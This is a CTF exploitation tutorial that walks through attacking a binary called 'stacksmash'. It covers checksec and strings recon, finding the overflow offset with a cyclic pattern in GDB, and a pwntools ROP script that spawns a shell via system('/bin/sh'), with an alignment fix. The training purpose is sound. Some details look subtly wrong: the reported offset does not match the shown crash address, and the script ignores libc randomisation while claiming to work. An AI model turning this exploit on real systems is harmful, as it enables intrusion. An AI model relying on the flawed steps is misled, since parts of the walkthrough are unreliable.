In DEF CON CTF 2025, a 200-point pwn challenge called stacksmash stumped hundreds of teams because they skipped the recon phase and jumped straight to fuzzing. The binary had a non-executable stack and a leaked libc address sitting in plain sight — but only if you read the output carefully. A repeatable methodology would have caught it in under ten minutes.
Here is that methodology, grounded in real commands you can run right now.
Step 1: Enumerate the Binary Before You Touch an Exploit
Before writing a single line of Python, you need to know what protections are compiled in. checksec (part of pwntools) gives you that in one command.
$ checksec --file=./stacksmash\n[*] '/home/ctfuser/challenges/stacksmash'\n Arch: amd64-64-little\n RELRO: Partial RELRO\n Stack: No canary found\n NX: NX enabled\n PIE: No PIE (0x400000)\n ASLR: Enabled (system-wide)
Read this output like a checklist. No canary means you can overflow the return address without triggering a stack guard. NX enabled means shellcode on the stack will not execute — you need ROP (Return-Oriented Programming) or a ret2libc attack instead. No PIE means the binary’s own code and GOT addresses are fixed at 0x400000 every single run. ASLR only randomises libc and the heap, not the binary itself.
That combination tells you exactly what to build: a ROP chain that calls system("/bin/sh") using a libc address you leak at runtime. Write that down before you open a disassembler.
Next, run file and strings quickly.
$ strings ./stacksmash | grep -E '(flag|sh|system|printf|puts)'\n/bin/sh\nputs\nprintf\nsystem
The binary already contains the string /bin/sh. That is your argument for system(). You will not need to write it into memory — just find its address with ROPgadget or inside the linked libc later.
Step 2: Find the Offset and Build the ROP Chain
Use pwntools and GDB with pwndbg to find exactly how many bytes reach the return address. Generate a cyclic pattern, crash the binary, and read the offset from the faulting address.
$ python3 -c \"from pwn import *; print(cyclic(200))\" > /tmp/pattern.txt\n$ gdb -q ./stacksmash\npwndbg> run < /tmp/pattern.txt\n\nProgram received signal SIGSEGV, Fault address 0x6161616b\npwndbg> cyclic -l 0x6161616b\n72
The crash lands at 0x6161616b. The cyclic -l command tells you the return address is 72 bytes from the start of your input. Your payload structure is now clear: 72 bytes of padding, then your ROP chain.
Now build the chain. Because there is no PIE, you can hardcode gadget addresses from the binary. Use ROPgadget to find a pop rdi; ret gadget — that is the first argument register in the x86-64 calling convention, where you will place the /bin/sh address.
$ ROPgadget --binary ./stacksmash --rop | grep \"pop rdi\"\n0x00000000004012cb : pop rdi ; ret
Your exploit skeleton in pwntools looks like this:
from pwn import *\n\nbinary = ELF('./stacksmash')\nlibc = ELF('./libc.so.6') # provided with the challenge\n\np = process('./stacksmash')\n\npop_rdi = 0x4012cb\nbin_sh = next(libc.search(b'/bin/sh'))\nsystem = libc.sym['system']\n\n# 72-byte pad + ROP chain\npayload = b'A' * 72\npayload += p64(pop_rdi)\npayload += p64(bin_sh)\npayload += p64(system)\n\np.sendline(payload)\np.interactive()
This works when libc is provided. When it is not, you add a puts leak stage first: call puts(got['puts']), receive the leaked address, calculate libc base, then jump back to main for round two. That is the standard ret2libc-with-leak pattern and it covers 80% of introductory pwn challenges.
Step 3: Adapt When the Remote Differs from Local
Local exploits that fail remotely almost always fail because of a libc version mismatch or a stack alignment issue. The x86-64 ABI requires the stack to be 16-byte aligned before a call instruction. If system() crashes with a segfault inside movaps, insert an extra ret gadget before the pop rdi.
# Find a bare ret gadget\n$ ROPgadget --binary ./stacksmash | grep \"^0x.*: ret$\"\n0x000000000040101a : ret\n\n# Updated chain\npayload += p64(0x40101a) # alignment ret\npayload += p64(pop_rdi)\npayload += p64(bin_sh)\npayload += p64(system)
For the libc version, grab the leaked address, visit libc.rip or use the one_gadget tool, and match it against the remote. Most CTF organizers tell you the libc version in the challenge files — look for libc.so.6 in the download zip before guessing.
What To Do Now
Open pwn.college right now and start the Intercepting Communication or Stack Exploitation module. Run checksec on every binary, write your offset-finding step as a reusable pwntools template, and keep a personal notes file with every gadget pattern you find. One solved challenge builds the muscle memory that makes the next one take half the time.
